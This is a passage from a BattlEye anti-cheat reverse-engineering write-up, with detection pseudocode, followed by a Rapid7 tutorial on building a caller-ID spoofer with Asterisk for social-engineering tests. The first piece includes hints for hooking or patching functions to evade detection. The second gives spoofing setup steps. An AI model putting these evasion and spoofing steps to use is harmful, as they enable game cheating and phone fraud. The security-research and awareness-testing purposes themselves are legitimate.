= memory_information.region_size; battleye::report(&module_anomaly_report, sizeof(module_anomaly_report), 0); } } Module specific (Unknown) A very specific module check has been added that will report you to the server if your loaded module meets any of these criteria: void memory::module_specific_check_unknown(MEMORY_BASIC_INFORMATION memory_information) { const auto dos_header = (DOS_HEADER*)module_handle; const auto pe_header = (PE_HEADER*)(module_handle + dos_header->e_lfanew)); const auto is_image = memory_information.state == MEM_COMMIT && memory_information.type == MEM_IMAGE; if (!is_image) return; const auto is_base = memory_information.base_address == memory_information.allocation_base; if (!is_base) return; const auto match_1 = time_date_stamp == 0x5B12C900 && *(__int8*)(memory_information.base_address + 0x1000) == 0x00 && *(__int32*)(memory_information.base_address + 0x501000) != 0x353E900; const auto match_2 = time_date_stamp == 0x5A180C35 && *(__int8*)(memory_information.base_address + 0x1000) != 0x00; const auto match_2 = time_date_stamp == 0xFC9B9325 && *(__int8*)(memory_information.base_address + 0x6D3000) != 0x00; if (!match_1 && !match_2 && !match_3) return; const auto buffer_offset = 0x00; // OFFSET DEPENDS ON WHICH MODULE MATCHES, RESPECTIVELY 0x501000, 0x1000 AND 0x6D3000 unknown_module_report.unknown1 = 0; unknown_module_report.report_id = 0x46; unknown_module_report.unknown2 = 1; unknown_module_report.data = *(__int128*)(memory_information.base_address + buffer_offset); battleye::report(&unknown_module_report, sizeof(unknown_module_report), 0); } We do not know which modules meet these criteria, but suspect it is an attempt to detect very few, specific cheat modules. Edit: @how02 alerted us that the module action_x64.dll has the timestamp 0x5B12C900, and contains a code section that is writeable, which could be exploitable as previously mentioned. Memory guard BattlEye has also incorporated a very questionable detection routine that we believe is seeking out memory with the flag PAGE_GUARD set, without actually checking if the PAGE_GUARD flag is set: void memory::guard_check(void* current_address, MEMORY_BASIC_INFORMATION memory_information) { if (memory_information.protect != PAGE_NOACCESS) { auto bad_ptr = IsBadReadPtr(current_address, sizeof(temporary_buffer)); auto read = NtReadVirtualMemory( GetCurrentProcess(), current_address, temporary_buffer, sizeof(temporary_buffer), 0); if (read < 0 || bad_ptr) { auto query = NtQueryVirtualMemory( GetCurrentProcess(), current_address, 0, &new_memory_information, sizeof(new_memory_information), &return_length); memory_guard_report.guard = query < 0 || new_memory_information.state != memory_information.state || new_memory_information.protect != memory_information.protect; if (memory_guard_report.guard) { memory_guard_report.unknown = 0; memory_guard_report.report_id = 0x21; memory_guard_report.base_address = memory_information.base_address; memory_guard_report.region_size = (int)memory_information.region_size; memory_guard_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&memory_guard_report, sizeof(memory_guard_report), 0); } } } } Window enumeration BattlEye’s shellcode enumerates every single window that is currently visible while the game is running, which it does by iterating windows from the top-down (z-value). Window handles inside of the game process are excluded from the aforementioned enumeration, as determined by a GetWindowThreadProcessId call. You can therefore hook the respective function to spoof ownership of the window and prevent BattlEye from enumerating your window. void window_handler::enumerate() { for (auto window_handle = GetTopWindow(); window_handle; window_handle = GetWindow(window_handle, GW_HWNDNEXT), // GET WINDOW BELOW ++window_handler::windows_enumerated) // INCREMENT GLOBAL COUNT FOR LATER USAGE { auto window_process_pid = 0; GetWindowThreadProcessId(window_handle, &window_process_pid); if (window_process_pid == GetCurrentProcessId()) continue; // APPEND INFORMATION TO THE MISC. REPORT, THIS IS EXPLAINED LATER IN THE ARTICLE window_handler::handle_summary(window_handle); constexpr auto max_character_count = 0x80; const auto length = GetWindowTextA(window_handle, window_title_report.window_title, max_character_count); // DOES WINDOW TITLE MATCH ANY OF THE BLACKLISTED TITLES? if (!contains(window_title_report.window_title, "CheatAut") && !contains(window_title_report.window_title, "pubg_kh") && !contains(window_title_report.window_title, "conl -") && !contains(window_title_report.window_title, "PerfectA") && !contains(window_title_report.window_title, "AIMWA") && !contains(window_title_report.window_title, "PUBG AIM") && !contains(window_title_report.window_title, "HyperChe")) continue; // REPORT WINDOW window_title_report.unknown_1 = 0; window_title_report.report_id = 0x33; battleye::report(&window_title_report, sizeof(window_title_report) + length, 0); } } Anomaly in enumeration If fewer than two windows were enumerated, the server gets notified. This is probably done to prevent someone from patching the respective functions, preventing any windows from being looked at by BattlEye’s shellcode: void window_handler::check_count() { if (window_handler::windows_enumerated > 1) return; // WINDOW ENUMERATION FAILED, MOST LIKELY DUE TO HOOK window_anomaly_report.unknown_1 = 0; window_anomaly_report.report_id = 0x44; window_anomaly_report.enumerated_windows = windows_enumerated; battleye::report(&window_anomaly_report, sizeof(window_anomaly_report), 0); } Process enumeration BattlEye enumerates all running processes with a CreateToolhelp32Snapshot call, but does not handle any errors, making it very easy to patch and prevent any of the following detection routines: Path check If image is inside of at least two sub directories (from disk root), it will flag processes if the respective image path contains atleast one of these strings: \Desktop\ \Temp\ \FileRec \Documents\ \Downloads\ \Roaming\ tmp.ex notepad. ...\\. cmd.ex If your executable path matches one of these strings, the server will get notified of your executable path, as well as information on whether or not the parent process is one of the following (contains respective flag bit sent to server): steam.exe [0x01] explorer.exe [0x02] lsass.exe [0x08] cmd.exe [0x10] If the client cannot open a handle with the respective QueryLimitedInformation rights, it will set the flag bit 0x04 if error reason for the OpenProcess call fail does not equal ERROR_ACCESS_DENIED, which gives us the final enumeration container for the respective flag value: enum BATTLEYE_PROCESS_FLAG { STEAM = 0x1, EXPLORER = 0x2, ERROR = 0x4, LSASS = 0x8, CMD = 0x10 } If steam is the parent process, you will get instantly flagged and reported to the server with report id 0x40 Image name If your process matches any of the miscellaneous criteria below, you will get instantly flagged and reported to the server with report id 0x38 Image name contains "Loadlibr" Image name contains "Rng " Image name contains "\A0\E7\FF\FF\FF\81" Image name contains "RNG " Image name contains "\90\E5\43\55" Image name contains "2.6.ex" Image name contains "TempFile.exe" Steam game overlay BattlEye is keeping its eye out on the steam game overlay process, which is responsible for the in-game overlay most steam users know. The full image name of the steam game overlay host is gameoverlayui.exe and is known to be exploited for rendering purposes, as it is quite trivial to hijack and maliciously draw to the game window. The condition for the check is: file size != 0 && image name contains (case insensitive) gameoverlayu The following checks specific to the steam game overlay are almost identical to the routines being ran on the game process itself, therefore they have been omitted from the pseudo code. Steam Game Overlay memory scan The steam game overlay process will have its memory scanned for patterns and anomalies. We were unable to go further down the rabbit hole and find out what these patterns are for, as they are very generic and are probably cheat-module related. void gameoverlay::pattern_scan(MEMORY_BASIC_INFORMATION memory_information) { // PATTERNS: // Home // F1 // \FF\FF\83\C4\08\C3\00\00\00\00\00\00\00\00\00\00 // \\.\pipe\%s // \C7\06\00\00\00\00\C6\47\03\00 // \60\C0\18\01\00\00\33\D2 // ... // PATTERN SCAN, ALMOST IDENTICAL CODE TO THE AFOREMENTIONED PATTERN SCANNING ROUTINE gameoverlay_memory_report.unknown_1 = 0; gameoverlay_memory_report.report_id = 0x35; gameoverlay_memory_report.identifier = 0x56C; gameoverlay_memory_report.data = &buffer[offset]; gameoverlay_memory_report.base_address = memory_information.base_address; gameoverlay_memory_report.region_size = (int)memory_information.region_size; gameoverlay_memory_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&gameoverlay_memory_report, sizeof(gameoverlay_memory_report), 0); } The scan routine also looks for any anominalies in the form of executable memory outside of loaded images, suggesting intruders have injected code into the overlay process: void gameoverlay::memory_anomaly_scan(MEMORY_BASIC_INFORMATION memory_information) { // ... // ALMOST IDENTICAL ANOMALY SCAN COMPARED TO MEMORY ENUMERATION ROUTINE OF GAME PROCESS gameoverlay_report.unknown = 0; gameoverlay_report.report_id = 0x3B; gameoverlay_report.base_address = memory_information.base_address; gameoverlay_report.region_size = memory_information.region_size; gameoverlay_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&gameoverlay_report, sizeof(gameoverlay_report), 0); } Steam Game Overlay process protection If the steam game overlay process has been protected using any windows process protection like Light (WinTcb), the server will get notified. void gameoverlay::protection_check(HANDLE process_handle) { auto process_protection = 0; NtQueryInformationProcess( process_handle, ProcessProtectionInformation, &process_protection, sizeof(process_protection), nullptr); if (process_protection == 0) // NO PROTECTION return; gameoverlay_protected_report.unknown = 0; gameoverlay_protected_report.report_id = 0x35; gameoverlay_protected_report.identifier = 0x5B1; gameoverlay_protected_report.data = process_protection; battleye::report(&gameoverlay_protected_report, sizeof(gameoverlay_protected_report), 0); } You will also get reported with report id 3B if the respective OpenProcess call to the aforementioned game overlay process returns ERROR_ACCESS_DENIED. Module enumeration Modules of the steam game overlay process are also enumerated, specifically looking for vgui2_s.dll and gameoverlayui.dll. Certain checks have been put in place for these respective modules, beginning with gameoverlayui.dll. If this condition matches: [gameoverlayui.dll+6C779] == \00\8B\E5\5D\C3\CC\CC\B8\??\??\??\??\C3\CC\CC\CC, the shellcode will scan a vtable at the address stored in the bytes \??\??\??\??. If any of these vtable entries are outside of the original gameoverlayui.dll module or point to an int 3 instruction, you get reported with the report id 3B. void gameoverlay::scan_vtable(HANDLE process_handle, char* buffer, MODULEENTRY32 module_entry) { char function_buffer[16]; for (vtable_index = 0; vtable_index < 20; vtable_index += 4) { NtReadVirtualMemory( process_handle, *(int*)&buffer[vtable_index], &function_buffer, sizeof(function_buffer), 0); if (*(int*)&buffer[vtable_index] < module_entry.modBaseAddr || *(int*)&buffer[vtable_index] >= module_entry.modBaseAddr + module_entry.modBaseSize || function_buffer[0] == 0xCC ) // FUNCTION PADDING { gameoverlay_vtable_report.report_id = 0x3B; gameoverlay_vtable_report.vtable_index = vtable_index; gameoverlay_vtable_report.address = buffer[vtable_index]; battleye::report(&gameoverlay_vtable_report, sizeof(gameoverlay_vtable_report), 0); } } } The vgui2_s.dll module also has a specific check routine set in place: void vgui::scan() { if (!equals(vgui_buffer, "\6A\00\8B\31\FF\56\1C\8B\0D\??\??\??\??\??\FF\96\??\??\??\??\8B\0D\??\??\??\??\8B\01\FF\90")) { auto could_read = NtReadVirtualMemory( process_handle, module_entry.modBaseAddr + 0x48338, vgui_buffer, 8, 0) >= 0; constexpr auto pattern_offset = 0x48378; // IF READ DID NOT FAIL AND PATTERN IS FOUND if (could_read && equals(vgui_buffer, "\6A\04\6A\00\6A\02\6A")) { vgui_report.unknown_1 = 0; vgui_report.report_id = 0x3B; vgui_report.unknown_2 = 0; vgui_report.address = LODWORD(module_entry.modBaseAddr) + pattern_offset; // READ TARGET BUFFER INTO REPORT NtReadVirtualMemory( process_handle, module_entry.modBaseAddr + pattern_offset, vgui_report.buffer, sizeof(vgui_report.buffer), 0); battleye::report(&vgui_report, sizeof(vgui_report), 0); } } else if ( // READ ADDRESS FROM CODE NtReadVirtualMemory(process_handle, *(int*)&vgui_buffer[9], vgui_buffer, 4, 0) >= 0 && // READ POINTER TO CLASS NtReadVirtualMemory(process_handle, *(int*)vgui_buffer, vgui_buffer, 4, 0) >= 0 && // READ POINTER TO VIRTUAL TABLE NtReadVirtualMemory(process_handle, *(int*)vgui_buffer, vgui_buffer, sizeof(vgui_buffer), 0) >= 0) { for (vtable_index = 0; vtable_index < 984; vtable_index += 4 ) // 984/4 VTABLE ENTRY COUNT { NtReadVirtualMemory(process_handle, *(int*)&vgui_buffer[vtable_index], &vtable_entry, sizeof(vtable_entry), 0); if (*(int*)&vgui_buffer[vtable_index] < module_entry.modBaseAddr || *(int*)&vgui_buffer[vtable_index] >= module_entry.modBaseAddr + module_entry.modBaseSize || vtable_entry == 0xCC ) { vgui_vtable_report.unknown = 0; vgui_vtable_report.report_id = 0x3B; vgui_vtable_report.vtable_index = vtable_index; vgui_vtable_report.address = *(int*)&vgui_buffer[vtable_index]; battleye::report(&vgui_vtable_report, sizeof(vgui_vtable_report), 0); } } } } The previous routine checks for a modification at 48378, which is a location in the code section: push 04 push offset aCBuildslaveSte_4 ; "c:\\buildslave\\steam_rel_client_win32"... push offset aAssertionFaile_7 ; "Assertion Failed: IsValidIndex(elem)" The routine then checks for a very specific and seemingly garbage modification: push 04 push 00 push 02 push ?? We were unable to obtain a copy of vgui2_s.dll that did not match the first of the two aforementioned checks, so we can’t discuss which vtable it is checking. Steam Game Overlay threads Threads in the steam game overlay process are also enumerated: void gameoverlay::check_thread(THREADENTRY32 thread_entry) { const auto tread_handle = OpenThread(THREAD_SUSPEND_RESUME|THREAD_GET_CONTEXT, 0, thread_entry.th32ThreadID); if (thread_handle) { suspend_count = ResumeThread(thread_handle); if (suspend_count > 0) { SuspendThread(thread_handle); gameoverlay_thread_report.unknown = 0; gameoverlay_thread_report.report_id = 0x3B; gameoverlay_thread_report.suspend_count = suspend_count; battleye::report(&gameoverlay_thread_report, sizeof(gameoverlay_thread_report), 0); } if (GetThreadContext(thread_handle, &context) && context.Dr7) { gameoverlay_debug_report.unknown = 0; gameoverlay_debug_report.report_id = 0x3B; gameoverlay_debug_report.debug_register = context.Dr0; battleye::report(&gameoverlay_debug_report, sizeof(gameoverlay_debug_report), 0); } } } LSASS The memory address space of the windows process lsass.exe, also known as the Local Security Authority process, is enumerated and any anomalies will be reported to the server, just like we’ve seen in the two previous checks: if (equals(process_entry.executable_path, "lsass.exe")) { auto lsass_handle = OpenProcess(QueryInformation, 0, (unsigned int)process_entry.th32ProcessID); if (lsass_handle) { for (address = 0; NtQueryVirtualMemory(lsass_handle, address, 0, &lsass_memory_info, 0x30, &bytes_needed) >= 0; address = lsass_memory_info.base_address + lsass_memory_info.region_size) { if (lsass_memory_info.state == MEM_COMMIT && lsass_memory_info.type == MEM_PRIVATE && (lsass_memory_info.protect == PAGE_EXECUTE || lsass_memory_info.protect == PAGE_EXECUTE_READ || lsass_memory_info.protect == PAGE_EXECUTE_READWRITE)) { // FOUND EXECUTABLE MEMORY OUTSIDE OF MODULES lsass_report.unknown = 0; lsass_report.report_id = 0x42; lsass_report.base_address = lsass_memory_info.base_address; lsass_report.region_size = lsass_memory_info.region_size; lsass_report.memory_info = lsass_memory_info.type | lsass_memory_info.protect | lsass_memory_info.state; battleye::report(&lsass_report, sizeof(lsass_report), 0); } } CloseHandle(lsass_handle); } } LSASS has previously been exploited to perform memory operations, as any process that would like an internet connection needs to let LSASS have access to it. BattlEye has currently mitigated this issue by manually stripping the process handle of read/write access and then hooking ReadProcessMemory/WriteProcessMemory, redirecting the calls to their driver, BEDaisy. BEDaisy then decides whether or not the memory operation is a legit operation. If it determines that the operation is legitimate, it will continue it, else, they will deliberately blue-screen the machine. Misc. report BattlEye gathers miscellaneous information and sends it back to the server with the report id 3C. This information consists of: Any window with WS_EX_TOPMOST flag or equivalent alternatives: Window text (Unicode) Window class name (Unicode) Window style Window extended style Window rectangle Owner process image path Owner process image size Any process with an open process handle (VM_WRITE|VM_READ) to the game Image name Image path Image size Handle access File size of game specific files: ....\Content\Paks\TslGame-WindowsNoEditor_assets_world.pak ....\Content\Paks\TslGame-WindowsNoEditor_ui.pak ....\Content\Paks\TslGame-WindowsNoEditor_sound.pak Contents of game specific files: ....\BLGame\CookedContent\Script\BLGame.u Detour information of NtGetContextThread Any jump instructions (E9) are followed and the final address get’s logged NoEye BattlEye has implemented a specific and rather lazy check to detect the presence of the public bypass known as NoEye, by checking the file size of any file found by GetFileAttributesExA with the name of BE_DLL.dll, suggesting the library file can be found on disk. void noeye::detect() { WIN32_FILE_ATTRIBUTE_DATA file_information; if (GetFileAttributesExA("BE_DLL.dll", 0, &file_information)) { noeye_report.unknown = 0; noeye_report.report_id = 0x3D; noeye_report.file_size = file_information.nFileSizeLow; battleye::report(&noeye_report, sizeof(noeye_report), 0); } } Driver presence The devices Beep and Null are checked, and reported if present. These two are not normally available on any system, which would indicate someone manually enabled a device, also known as driver device hijacking. This is done to enable IOCTL communication with a malicious driver without requiring an independent driver object for said driver. void driver::check_beep() { auto handle = CreateFileA("\\\\.\\Beep", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (handle != INVALID_HANDLE_VALUE) { beep_report.unknown = 0; beep_report.report_id = 0x3E; battleye::report(&beep_report, sizeof(beep_report), 0); CloseHandle(handle); } } void driver::check_null() { auto handle = CreateFileA("\\\\.\\Null", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (handle != INVALID_HANDLE_VALUE) { null_report.unknown = 0; null_report.report_id = 0x3E; battleye::report(&null_report, sizeof(null_report), 0); CloseHandle(handle); } } Sleep delta BattlEye will also queue the current thread for a one second sleep and measure the difference in tickcount from before and after the sleep: void sleep::check_delta() { const auto tick_count = GetTickCount(); Sleep(1000); const auto tick_delta = GetTickCount() - tick_count; if (tick_delta >= 1200) { sleep_report.unknown = 0; sleep_report.report_id = 0x45; sleep_report.delta = tick_delta; battleye::report(&sleep_report, sizeof(sleep_report), 0); } } 7zip BattlEye has added a very lazy integrity check to prevent people loading the 7zip library into game processes and overwriting the sections. This was done to mitigate the previous pattern scans and anomaly detections, and battleye decided to only add integrity checks for this sepcific 7zip library. void module::check_7zip() { constexpr auto sz_7zipdll = "..\\..\\Plugins\\ZipUtility\\ThirdParty\\7zpp\\dll\\Win64\\7z.dll"; const auto module_handle = GetModuleHandleA(sz_7zipdll); if (module_handle && *(int*)(module_handle + 0x1000) != 0xFF1441C7) { sevenzip_report.unknown_1 = 0; sevenzip_report.report_id = 0x46; sevenzip_report.unknown_2 = 0; sevenzip_report.data1 = *(__int64*)(module_handle + 0x1000); sevenzip_report.data2 = *(__int64*)(module_handle + 0x1008); battleye::report(&sevenzip_report, sizeof(sevenzip_report), 0); } } Hardware abstraction layer Battleye checks the presence of the windows hardware abstraction layer dynamic link library (hal.dll), and reports to server if it is loaded inside of the game process. void module::check_hal() { const auto module_handle = GetModuleHandleA("hal.dll"); if (module_handle) { hal_report.unknown_1 = 0; hal_report.report_id = 0x46; hal_report.unknown_2 = 2; hal_report.data1 = *(__int64*)(module_handle + 0x1000); hal_report.data2 = *(__int64*)(module_handle + 0x1008); battleye::report(&hal_report, sizeof(hal_report), 0); } } Image checks BattlEye also checks for various images loaded into the game process. These modules are presumably signed images that are somehow manipulated into abusive behaviour, but we can’t comment on the full extent of these modules, only the detections: nvToolsExt64_1 void module::check_nvtoolsext64_1 { const auto module_handle = GetModuleHandleA("nvToolsExt64_1.dll"); if (module_handle) { nvtools_report.unknown = 0; nvtools_report.report_id = 0x48; nvtools_report.module_id = 0x5A8; nvtools_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&nvtools_report, sizeof(nvtools_report), 0); } } ws2detour_x96 void module::check_ws2detour_x96 { const auto module_handle = GetModuleHandleA("ws2detour_x96.dll"); if (module_handle) { ws2detour_report.unknown = 0; ws2detour_report.report_id = 0x48; ws2detour_report.module_id = 0x5B5; ws2detour_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&ws2detour_report, sizeof(ws2detour_report), 0); } } networkdllx64 void module::check_networkdllx64 { const auto module_handle = GetModuleHandleA("networkdllx64.dll"); if (module_handle) { const auto dos_header = (DOS_HEADER*)module_handle; const auto pe_header = (PE_HEADER*)(module_handle + dos_header->e_lfanew)); const auto size_of_image = pe_header->SizeOfImage; if (size_of_image < 0x200000 || size_of_image >= 0x400000) { if (pe_header->sections[DEBUG_DIRECTORY].size == 0x1B20) { networkdll64_report.unknown = 0; networkdll64_report.report_id = 0x48; networkdll64_report.module_id = 0x5B7; networkdll64_report.data = pe_header->TimeDatestamp; battleye::report(&networkdll64_report, sizeof(networkdll64_report), 0); } } else { networkdll64_report.unknown = 0; networkdll64_report.report_id = 0x48; networkdll64_report.module_id = 0x5B7; networkdll64_report.data = pe_header->sections[DEBUG_DIRECTORY].size; battleye::report(&networkdll64_report, sizeof(networkdll64_report), 0); } } } nxdetours_64 void module::check_nxdetours_64 { const auto module_handle = GetModuleHandleA("nxdetours_64.dll"); if (module_handle) { nxdetours64_report.unknown = 0; nxdetours64_report.report_id = 0x48; nxdetours64_report.module_id = 0x5B8; nxdetours64_report.size_of_image = (PE_HEADER*)(module_handle + (DOS_HEADER*)(module_handle)->e_lfanew))->SizeOfImage; battleye::report(&nxdetours64_report, sizeof(nxdetours64_report), 0); } } nvcompiler void module::check_nvcompiler { const auto module_handle = GetModuleHandleA("nvcompiler.dll"); if (module_handle) { nvcompiler_report.unknown = 0; nvcompiler_report.report_id = 0x48; nvcompiler_report.module_id = 0x5BC; nvcompiler_report.data = *(int*)(module_handle + 0x1000); battleye::report(&nvcompiler_report, sizeof(nvcompiler_report), 0); } } wmp void module::check_wmp { const auto module_handle = GetModuleHandleA("wmp.dll"); if (module_handle) { wmp_report.unknown = 0; wmp_report.report_id = 0x48; wmp_report.module_id = 0x5BE; wmp_report.data = *(int*)(module_handle + 0x1000); battleye::report(&wmp_report, sizeof(wmp_report), 0); } } Module id enumeration For reference, here are the enumerative ids for the modules: enum module_id { nvtoolsext64 = 0x5A8, ws2detour_x96 = 0x5B5, networkdll64 = 0x5B7, nxdetours_64 = 0x5B8, nvcompiler = 0x5BC, wmp = 0x5BE }; TCP table scan The BattlEye shellcode will also search the system wide list of tcp connections (known as the tcp table), and report you for being connected to at least one of the specific cloudflare-gateway ip addresses belonging to the german pay-to-cheat website https://xera.ph/. This detection mechanism was added to the shellcode to detect any user using their launcher while the game is running, making them easily identifiable. The only problem with this mechanism is that the cloudflare-gateway ip addresses might switch hands later on and if the new owner of the respective ip addresses distribute software connecting to their servers on that specific port, false positives will without a doubt occur. Users of the pay-to-cheat provider xera.ph have been reporting detections for a long time, without the developers being able to mitigate. When we contacted the responsible developers from xera.ph to make them aware of their stupidity, they misread the situtation and handed a free copy to us without thinking twice that we would crack it and release it. We won’t, but you probably shouldn’t send proprietary, licensed binaries for free to reverse engineers without the slightest expectation of piracy. void network::scan_tcp_table { memset(local_port_buffer, 0, sizeof(local_port_buffer)); for (iteration_index = 0; iteration_index < 500; ++iteration_index) { // GET NECESSARY SIZE OF TCP TABLE auto table_size = 0; GetExtendedTcpTable(0, &table_size, false, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0); // ALLOCATE BUFFER OF PROPER SIZE FOR TCP TABLE auto allocated_ip_table = (MIB_TCPTABLE_OWNER_MODULE*)malloc(table_size); if (GetExtendedTcpTable(allocated_ip_table, &table_size, false, AF_INET, TCP_TABLE_OWNER_MODULE_ALL, 0) != NO_ERROR) goto cleanup; for (entry_index = 0; entry_index < allocated_ip_table->dwNumEntries; ++entry_index) { const auto ip_address_match_1 = allocated_ip_table->table[entry_index].dwRemoteAddr == 0x656B1468; // 104.20.107.101 const auto ip_address_match_2 = allocated_ip_table->table[entry_index].dwRemoteAddr == 0x656C1468; // 104.20.108.101 const auto port_match = allocated_ip_table->table[entry_index].dwRemotePort == 20480; if ( (!ip_address_match_1 && !ip_address_match_2) || !port_match) continue; for (port_index = 0; port_index < 10 && allocated_ip_table->table[entry_index].dwLocalPort != local_port_buffer[port_index]; ++port_index) { if (local_port_buffer[port_index]) continue; tcp_table_report.unknown = 0; tcp_table_report.report_id = 0x48; tcp_table_report.module_id = 0x5B9; tcp_table_report.data = BYTE1(allocated_ip_table->table[entry_index].dwLocalPort) | (LOBYTE(allocated_ip_table->table[entry_index.dwLocalPort) << 8); battleye::report(&tcp_table_report, sizeof(tcp_table_report), 0); local_port_buffer[port_index] = allocated_ip_table->table[entry_index].dwLocalPort; break; } } cleanup: // FREE TABLE AND SLEEP free(allocated_ip_table); Sleep(10); } } Report types For reference, here are the known report types from the shellcode: enum BATTLEYE_REPORT_ID { MEMORY_GUARD = 0x21, MEMORY_SUSPICIOUS = 0x2F, WINDOW_TITLE = 0x33, MEMORY = 0x35, PROCESS_ANOMALY = 0x38, DRIVER_BEEP_PRESENCE = 0x3E, DRIVER_NULL_PRESENCE = 0x3F, MISCELLANEOUS_ANOMALY = 0x3B, PROCESS_SUSPICIOUS = 0x40, LSASS_MEMORY = 0x42, SLEEP_ANOMALY = 0x45, MEMORY_MODULE_SPECIFIC = 0x46, GENERIC_ANOMALY = 0x48, MEMORY_MODULE_SPECIFIC2 = 0x5B, } Sursa: https://vmcall.github.io/reversal/2019/02/10/battleye-anticheat.html

How to Build Your Own Caller ID Spoofer: Part 1 Jonathan Stines May 24, 2018 5 min read Purpose Organizations with mature security programs often test their own internal awareness programs by performing social engineering campaigns (e.g., telephone pretexting) on their personnel. These may include hiring third-party consulting companies as well as performing internal tests. These tests should strive to be as real-world as possible in order to accurately simulate a malicious actor and learn from employees’ reactions and ascertain the level of risk they pose to the organization. Spoofing telephone numbers is a real-world tactic used by malicious actors as part of phishing campaigns, so it's a helpful capability for internal security teams to have in their arsenals as they defend their organizations against this common threat. In this post, we'll explain how security professionals can build a caller ID spoofer for purposes of simulating attacks and building internal awareness. My Introduction to Asterisk Early in my penetration testing career, I was tasked with performing a wardialing modem hacking gig—the client wanted to test their telephone network for modem-related weaknesses. This was a challenge because not only did I not know anything about modem hacking, but I didn’t know anything about the wide world of telephony. Fortunately, I had about two weeks to figure it out before the job started. So I set to work learning about modem hacking, telephony, and a lot about Asterisk. Most importantly, I learned how to spoof your caller ID when wardialing—which can be used for a lot more than just prank calling your buddies. There are services that can automate this process for you—some even have mobile apps that have other features, such as call recording and voice changing. However, these services can cost upwards of 25 cents per call, which simply isn’t sustainable when we make thousands of calls per year. When we did the wardialing job with our home-grown spoofer, the bill from our SIP service provider was less than $10 for over 2,000 calls. That’s more like it! Additionally, for calls that answered, each averaged 53 seconds in order for Warvox to record and fingerprint devices, such as modems, faxes, or angry security guards. I’m certainly not a PBX or telephony expert, nor do I have a background managing Asterisk, but I am good at hammering on stuff until it seems to work. Hopefully this will help folks in the industry to overcome some of the challenges I’ve faced. So here’s how you can build your own caller ID spoofer. SIP (Session Initiation Protocol) –The de facto standard for VoIP communication, used for initial authentication and negotiations when making connections. RTP (Real-Time Transport Protocol) – Chatty, used to transmit audio after authentication and negotiations. IAX (Inter-Asterisk Exchange) – Legacy, less chatty, must have trunk to convert from IAX to SIP service provider. DISA (Direct Inward System Access) – This is sort of like VPN’ing to your internal system, so you can dial internal extensions. DID (Direct Inward Dialing) – This is the telephone number assigned by your service provider. Analogous to an external IP address, but for telephony. Setting up Asterisk You need to setup your Asterisk server to where it can be accessible—ideally an external IP. However, internally NAT’ed will work if you plan on VPN’ing in and using a softphone or using port forwarding. FreePBX is available as an AWS AMI image, so that’s the route that I took. The specifications can be run in the free tier and Elastic computing will run you approximately $10 a month depending on utilization of the PBX and, if you’re like me, leave it powered on all the time. Once you have your FreePBX VM up and running here’s what you want to do: Open: SIP TCP/UDP 5060 to Service Provider (discussed in next step) RTP UDP 10000-20000 to your public IP address Settings → Asterisk SIP Settings Ensure external Address and Local Networks are accurate Ensure ulaw, alaw, gsm, g726 codec checkboxes are ticked Choosing a Provider and Setting up a Trunk There are many providers out there. When choosing one, I’d say go off the quality of their website. If they have a portal where you can create requests for trunks, DIDs, specify your IP for their firewalling, etc., that’s a bonus. I went with my provider because they supported me with IAX when I was doing wardialing and seemed to have good customer service. Once you’ve chosen your provider, you’ll need to setup your SIP trunk in Asterisk: Connectivity → Trunks → Add Trunk Click Add SIP (chan_sip) Trunk Set your Trunk Name Set Dialed number manipulation rules 1 + NXXNXXXXXX 1NXXNXXXXXX Set your trunk name Set up peer details Set User Context and User Details ‘Host’ and ‘FromDomain’ is provided by the service provider, often under the support section of their website On the service provider’s website, you’ll need to create the SIP trunk and specify your external IP address to allow inbound connection on their side. Here’s an example of what mine looks like: Setting up a SIP Extension In order to dial into your Asterisk, you’ll first need to create some sort of unique identifier for the external DISA to hand off to the internal PBX. With Asterisk, extensions function the same as usernames. Applications → Extensions → Add Extension Select the default, “Generic CHAN SIP Device” Display name is the username and should be numeric (e.g., 4 digits) Outbound CID is the caller ID, customize however you’d like Note: This is how you’d manually set your caller ID. For the time being, it can be arbitrarily set to whatever you’d like as it’ll later be changed through a configuration file. Outbound Concurrency Limit is number of outbound calls that can be made concurrently with that extension. If multiple people will be making calls, you’ll want to make sure this number accommodates everyone. Set a password for the extension, everything else can be kept default. Interacting with Asterisk with Zoiper Now, we’ve created a SIP trunk, configured it with our VoIP service provider, and set up an extension and password. Now we can use a softphone in order to dial out using our Asterisk. You’ll first need to download Linphone softphone. It can be installed on Windows, Mac, and Linux: http://www.linphone.org/ Once you have Linphone installed, open the program and click “Account Assistant”: Next, we’ll click “Use a SIP Account”: Using the extension we previously created, we will then login to Asterisk. If you’ve installed Asterisk on an externally facing VPS you’ll use the IP address. Otherwise, you’ll need to ensure you’ve setup port forwarding to your internal Asterisk server for SIP and RTP. Enter in the username (extension), public IP of your Asterisk, and the password configured for the extension, leaving everything else as default: After clicking “Use”, you’ll be brought back to the Linphone home screen. Click the upper left corner to be presented with your Linphone accounts: You will then select your newly created SIP account we registered with our Asterisk. You can then make calls with the Linphone client using our Asterisk server by entering the destination telephone number in the text box at the top of the program. That is it for Part 1 of the blog series. We have talked about how this project kicked off, how to setup Asterisk, how to configure Asterisk to spoof a source telephone number, and how to use a softphone client in order to interact with your Asterisk server. In the next post, we’ll delve in to creating a customized extension configuration and automation so Caller IDs can be spoofed on the fly. Sursa: https://blog.rapid7.com/2018/05/24/how-to-build-your-own-caller-id-spoofer-part-1/

